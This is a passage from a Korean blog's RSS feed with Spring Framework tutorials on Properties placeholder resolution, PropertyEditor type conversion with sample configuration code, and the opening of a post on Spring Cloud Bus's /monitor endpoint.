&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;도구 등록:&lt;/b&gt; 이 &lt;code&gt;Properties&lt;/code&gt;가 &lt;code&gt;PropertySourcesPlaceholderConfigurer&lt;/code&gt;라는 스프링 내부 도구(BeanFactoryPostProcessor)에 전달됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;값 치환(Resolution):&lt;/b&gt; 이 도구는 빈 생성이 본격적으로 시작되기 전에 컨테이너를 가로질러서, 자바 코드에 적힌 &lt;b&gt;&lt;code&gt;${jdbc.url}&lt;/code&gt;이라는 껍데기를 &lt;code&gt;Properties&lt;/code&gt;에 들어있던 알맹이 문자열로 싹 바꿔쳐 줍니다.&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 4. PropertyEditor와의 환상적인 콜라보레이션&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;여기서 이전 포스팅의 주인공인 &lt;code&gt;PropertyEditor&lt;/code&gt;와 연결됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;Properties&lt;/code&gt; 클래스는 구조상 &lt;b&gt;오직 문자열(String)만&lt;/b&gt; 저장할 수 있다고 했습니다. 만약 외부 설정에 &lt;code&gt;server.port=8080&lt;/code&gt;이라고 적어두어도, &lt;code&gt;Properties&lt;/code&gt; 객체 내부에서는 여전히 문자열 &lt;code&gt;&quot;8080&quot;&lt;/code&gt; 상태입니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Properties의 역할:&lt;/b&gt; 외부의 글자 파일에서 &lt;code&gt;server.port&lt;/code&gt; = &lt;code&gt;&quot;8080&quot;&lt;/code&gt;(String) 이라는 문자열 세트를 안전하게 메모리로 들고 와 줍니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;PropertyEditor의 역할:&lt;/b&gt; 그렇게 들고 온 문자열 &lt;code&gt;&quot;8080&quot;&lt;/code&gt;을 실제 자바 빈의 필드 타입인 숫자 &lt;code&gt;int port&lt;/code&gt;에 맞게 최종적으로 &lt;b&gt;형변환&lt;/b&gt;해서 꽂아줍니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;즉, Properties가 외부 데이터를 자바 메모리로 안전하게 수송해 오는 '운반책'이라면, PropertyEditor는 수송된 데이터를 현장에 맞게 가공하는 '조립공'인 셈입니다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Summary (요약)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;용도:&lt;/b&gt; &lt;code&gt;java.util.Properties&lt;/code&gt;는 애플리케이션의 &lt;b&gt;외부 설정 데이터(Key-Value)를 문자열 형태로 보관하고 관리&lt;/b&gt;하는 전용 저장소입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;도구로서의 역할:&lt;/b&gt; 스프링에서는 &lt;code&gt;PropertySourcesPlaceholderConfigurer&lt;/code&gt;와 결합하여, 자바 코드 전역의 &lt;code&gt;@Value(&quot;${...}&quot;)&lt;/code&gt; 태그에 동적으로 값을 수급하고 치환해 주는 '설정 엔진 툴'로써 작동합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;상호작용:&lt;/b&gt; &lt;code&gt;Properties&lt;/code&gt;가 들고 온 텍스트 설정값들은, 최종적으로 스프링 내부의 &lt;code&gt;PropertyEditor&lt;/code&gt;(혹은 Converter)를 만나 자바의 다양한 타입(int, Boolean, Date 등)으로 변환되어 빈(Bean)에 주입됩니다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>Spring Framework/Spring IoC</category>
      <author>헬로우월드</author>
      <guid isPermaLink="true">https://sundaland.tistory.com/1134</guid>
      <comments>https://sundaland.tistory.com/1134#entry1134comment</comments>
      <pubDate>Tue, 16 Jun 2026 21:20:44 +0900</pubDate>
    </item>
    <item>
      <title>PropertyEditor</title>
      <link>https://sundaland.tistory.com/1133</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;PropertyEditor와 타입 캐스트의 비밀&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스프링 IoC 컨테이너가 &lt;code&gt;BeanDefinition&lt;/code&gt;이라는 설계도를 바탕으로 빈을 생성하고 의존성을 주입할 때, 백그라운드에서 묵묵히 복잡한 형변환을 처리해 주는 숨은 공신이 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이번 포스팅에서는 스프링 내부에서 문자열 설정을 자바 객체 타입으로 변환해 주는 핵심 도구인 &lt;code&gt;PropertyEditor&lt;/code&gt;에 대해 자세히 알아보겠습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ PropertyEditor란 무엇인가?&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;한마디로 &quot;텍스트(String)를 자바가 이해하는 특정 객체나 기본 타입(Primitive Type)으로 변환해 주는 도구&quot;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스프링 파일이나 외부 설정 파일에 적힌 내용은 본질적으로 모두 문자열(String)입니다. 하지만 우리가 만드는 자바 프로그램은 숫자(&lt;code&gt;int&lt;/code&gt;), 날짜(&lt;code&gt;Date&lt;/code&gt;), 파일 경로 등을 필요로 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이때 문자열로 된 설정 정보를 자바 빈(Bean)의 필드가 요구하는 타입에 맞게 자동으로 형변환(Type Casting)해 주는 해결사가 바로 &lt;code&gt;PropertyEditor&lt;/code&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 왜 이름이 'PropertyEditor'일까?&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이 기술은 스프링이 독자적으로 개발한 것이 아니라, 자바 표준 기술인 &lt;b&gt;자바빈즈(JavaBeans) 스펙&lt;/b&gt;에 이미 내장되어 있던 기술입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;과거 자바 GUI 프로그램(AWT/Swing)을 개발하던 시절, 화면의 시각적 편집기(GUI Editor) 창에서 사용자가 텍스트 박스에 &lt;code&gt;&quot;8080&quot;&lt;/code&gt;이라고 입력하면 이를 프로그램 내부의 &lt;code&gt;int port&lt;/code&gt; 필드(Property)에 반영하기 위해 값을 편집(Edit)하던 도구에서 유래되었습니다. 스프링은 이 표준 기술을 영리하게 가져와 IoC 컨테이너의 설정값 주입 메커니즘에 녹여냈습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 세터(Setter) 기반 주입과 PropertyEditor 샘플 코드&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;우리가 프로젝트 리소스 폴더에 작성하는 외부 설정 파일과, 이를 주입받는 자바 코드 예시입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;설정 파일 (&lt;code&gt;src/main/resources/application.properties&lt;/code&gt;)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;# 텍스트 파일이므로 여기에 적힌 8080은 문자열 &quot;8080&quot;으로 인식됩니다.
server.port=8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Java 코드 (&lt;code&gt;ServerConfig.java&lt;/code&gt;)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;java&quot;&gt;&lt;code&gt;@Component
public class ServerConfig {
    private int port; // 자바의 필드(Property) 타입은 int (숫자)

    // 세터 메서드에 @Value를 사용하여 외부 설정값을 주입
    @Autowired
    public void setPort(@Value(&quot;${server.port:8080}&quot;) int port) {
        this.port = port; // 외부에서 읽어온 글자 &quot;8080&quot;이 숫자 8080으로 변환되어 들어옴!
    }

    public int getPort() {
        return port;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;뒤에서 일어나는 일:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스프링 컨테이너(&lt;code&gt;ApplicationContext&lt;/code&gt;)는 &lt;code&gt;application.properties&lt;/code&gt; 파일에서 텍스트 형태의 값 &lt;code&gt;&quot;8080&quot;&lt;/code&gt;을 읽어옵니다. 그리고 &lt;code&gt;setPort(int port)&lt;/code&gt; 메서드의 파라미터 타입이 숫자인 &lt;code&gt;int&lt;/code&gt;인 것을 확인합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이때 타입의 불일치를 해결하기 위해 스프링은 내부적으로 &lt;code&gt;PropertyEditor&lt;/code&gt;를 꺼내어 &lt;b&gt;문자열 &lt;code&gt;&quot;8080&quot;&lt;/code&gt;을 숫자 &lt;code&gt;8080&lt;/code&gt;으로 변환한 뒤 &lt;code&gt;setPort(8080)&lt;/code&gt;을 호출&lt;/b&gt;하게 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ PropertyEditor의 타입 변환 테이블&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스프링 컨테이너가 외부 설정값을 읽어 자바 객체(Bean)의 세터 파라미터나 필드에 주입하려고 할 때, 보이지 않는 곳에서 다음과 같은 구체적인 변환 작업들이 일어납니다.&lt;/span&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;외부 설정값 (String)&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;주입될 프로퍼티(세터) 타입&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;일하는 PropertyEditor 구현체&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;변환 결과&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;&quot;8080&quot;&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;int&lt;/code&gt; / &lt;code&gt;Integer&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;CustomNumberEditor&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;숫자 &lt;code&gt;8080&lt;/code&gt;으로 캐스팅&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;&quot;true&quot;&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;boolean&lt;/code&gt; / &lt;code&gt;Boolean&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;CustomBooleanEditor&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;논리값 &lt;code&gt;true&lt;/code&gt;로 변환&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;&quot;2026-06-16&quot;&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;java.util.Date&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;CustomDateEditor&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;날짜 객체(&lt;code&gt;Date&lt;/code&gt;)로 변환&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;&quot;classpath:config.txt&quot;&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;org.springframework.core.io.Resource&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;ResourceEditor&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;리소스 파일 객체로 변환&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;개발자의 관점:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;테이블 내용처럼 우리는 그냥 자바 스펙에 맞춰 세터 메서드를 만들어 두고 값만 지정하면 끝납니다. 내부 처리 과정은 스프링이 &lt;code&gt;PropertyEditor&lt;/code&gt;들을 동원해 알아서 매끄럽게 처리해 주기 때문입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ PropertyEditor의 치명적인 한계&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스프링 프레임워크가 발전하면서 &lt;code&gt;PropertyEditor&lt;/code&gt;에는 두 가지 치명적인 설계적 한계가 드러나게 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;[1] 상태를 가짐 (Not Thread-Safe)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;PropertyEditor&lt;/code&gt;는 내부적으로 변환할 값을 상태(State)로 보관하는 방식을 취합니다. 즉, 하나의 에디터 인스턴스를 여러 쓰레드가 동시에 공유해서 쓰면 데이터가 오염되는 문제가 발생합니다. 이 때문에 스프링은 빈을 생성하고 값을 주입할 때마다 이 에디터를 &lt;b&gt;매번 새롭게 생성&lt;/b&gt;해야만 했습니다. (싱글톤 빈으로 관리 불가)&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;[2] 오직 String 기반의 변환만 가능&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;자바 표준 스펙의 제약으로 인해 &lt;code&gt;String ➡️ 다른 타입&lt;/code&gt;으로의 변환만 지원합니다. 현대적인 애플리케이션에서 요구하는 &lt;code&gt;Integer ➡️ Boolean&lt;/code&gt;이나 &lt;code&gt;Enum ➡️ String&lt;/code&gt; 같은 다양한 타입 간의 유연한 상호 변환은 불가능했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 현대 스프링에서의 변화 (Spring 3.0 이후)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;스프링 팀은 이러한 &lt;code&gt;PropertyEditor&lt;/code&gt;의 한계를 극복하기 위해 Spring 3.0부터 완전히 새로운 타입 변환 아키텍처를 도입합니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;&lt;code&gt;Converter&lt;/code&gt;와 &lt;code&gt;Formatter&lt;/code&gt; 체계의 도입:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Thread-Safe 보장:&lt;/b&gt; 상태를 가지지 않으므로 싱글톤 객체로 등록해 컨테이너가 안전하게 공유할 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;범용적 타입 변환:&lt;/b&gt; 문자열에 국한되지 않고, 모든 소스 타입(Source)에서 타깃 타입(Target)으로의 자유로운 변환을 지원합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  Summary (요약)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;code&gt;PropertyEditor&lt;/code&gt;는 외부의 문자열 설정값을 자바 빈의 프로퍼티(세터 파라미터) 타입에 맞게 변환해 주는 &lt;b&gt;자바 표준 기반의 타입 캐스터&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;장점:&lt;/b&gt; 개발자가 복잡한 형변환 로직을 신경 쓰지 않고 설정 값을 안전하게 주입받을 수 있도록 은닉해 줍니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;단점:&lt;/b&gt; &lt;b&gt;Thread-Safe하지 못해&lt;/b&gt; 매번 객체를 생성해야 하며, 오직 &lt;b&gt;String 중심의 변환만 가능&lt;/b&gt;하다는 한계가 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;결론:&lt;/b&gt; 현대 스프링 부트 환경에서는 더 강력하고 안전한 &lt;b&gt;&lt;code&gt;Converter&lt;/code&gt;와 `Formatter&lt;/b&gt;&lt;code&gt;체계가 중심 역할을 수행하지만, 과거 레거시 버전과의 호환성을 위해&lt;/code&gt;PropertyEditor` 역시 하위 레이어에서 여전히 지원되고 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;출처:&lt;/b&gt; &lt;a href=&quot;https://docs.spring.io/spring-framework/reference/core/beans/dependencies/factory-collaborators.html&quot;&gt;Spring Framework Reference - Core Technologies&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Spring Framework/Spring IoC</category>
      <author>헬로우월드</author>
      <guid isPermaLink="true">https://sundaland.tistory.com/1133</guid>
      <comments>https://sundaland.tistory.com/1133#entry1133comment</comments>
      <pubDate>Tue, 16 Jun 2026 21:05:14 +0900</pubDate>
    </item>
    <item>
      <title>Spring Cloud Bus</title>
      <link>https://sundaland.tistory.com/1126</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Spring Cloud Bus&amp;nbsp;/monitor로 완성하는 설정 관리 자동화&lt;/span&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;현대적인 &lt;b data-index-in-node=&quot;5&quot; data-path-to-node=&quot;4&quot;&gt;분산 시스템(MSA)&lt;/b&gt; 환경에서 설정 정보는 단순히 텍스트 파일 그 이상의 의미를 갖습니다. 서비스의 동작 방식을 결정짓는 '유전자'와 같으며, 시스템이 거대해질수록 이 유전 정보를 얼마나 빠르고 정확하게 전파하느냐가 운영의 핵심이 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;Spring Cloud Bus&lt;/b&gt;는 이러한 분산 환경에서 각 서비스 인스턴스 사이를 연결하는 &lt;b data-index-in-node=&quot;50&quot; data-path-to-node=&quot;5&quot;&gt;가벼운 메시지 신경망&lt;/b&gt; 역할을 수행합니다. 주로 &lt;b data-index-in-node=&quot;76&quot; data-path-to-node=&quot;5&quot;&gt;Spring Cloud Config&lt;/b&gt;와 결합하여, 설정 정보가 변경되는 즉시 수십, 수백 개의 마이크로서비스에 실시간으로 그 변화를 전파하고 동적으로 갱신(Refresh)하는 데 사용됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;7&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;패러다임의 전환: '명령'에서 '반응'으로&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;기존의 방식은 관리자가 설정 변경 후 직접 /actuator/busrefresh 엔드포인트를 호출하는 &lt;b data-index-in-node=&quot;57&quot; data-path-to-node=&quot;8&quot;&gt;수동적(Imperative) 방식&lt;/b&gt;에 머물러 있었습니다. 하지만 인프라 규모가 확장될수록 이러한 수동 개입은 곧 운영의 병목이자 잠재적인 'Human Error'의 원인이 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이번 챕터에서는 단순히 메시지를 전달하는 수준을 넘어, &lt;b&gt;이벤트 기반의 자동화(Event-Driven Automation)&lt;/b&gt;로 패러다임을 완전히 전환하는 핵심 열쇠인 &lt;b data-index-in-node=&quot;97&quot; data-path-to-node=&quot;9&quot;&gt;/monitor 엔드포인트&lt;/b&gt;를 집중적으로 다룹니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;/monitor가 가져오는 운영의 미학&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;11&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,0,0&quot;&gt;Seamless Pipeline:&lt;/b&gt; 개발자가 Git 저장소에 설정을 Push하는 순간, 시스템이 스스로 변화를 감지하고 전파하는 &lt;b data-index-in-node=&quot;71&quot; data-path-to-node=&quot;11,0,0&quot;&gt;'Push-to-Refresh'&lt;/b&gt; 메커니즘을 구현합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,0&quot;&gt;지능적 타겟팅:&lt;/b&gt; 전체 시스템에 무분별한 메시지를 던지는 대신, 변경된 설정과 관련된 서비스들만 영리하게 식별하여 갱신을 유도합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,2,0&quot;&gt;Zero-Touch 운영:&lt;/b&gt; 관리자의 개입 없이도 인프라의 상태와 실제 런타임 환경이 실시간으로 동기화되는 &lt;b data-index-in-node=&quot;59&quot; data-path-to-node=&quot;11,2,0&quot;&gt;선언적(Declarative) 환경&lt;/b&gt;을 완성합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;13,0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;/monitor 엔드포인트는 단순한 편의 기능을 넘어 시스템의 전체적인 &lt;b&gt;&lt;i&gt;자동화 성숙도(CI/CD/CM)&lt;/i&gt;&lt;/b&gt;를 한 단계 끌어올리는 결정적인 도구가 될 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;14&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
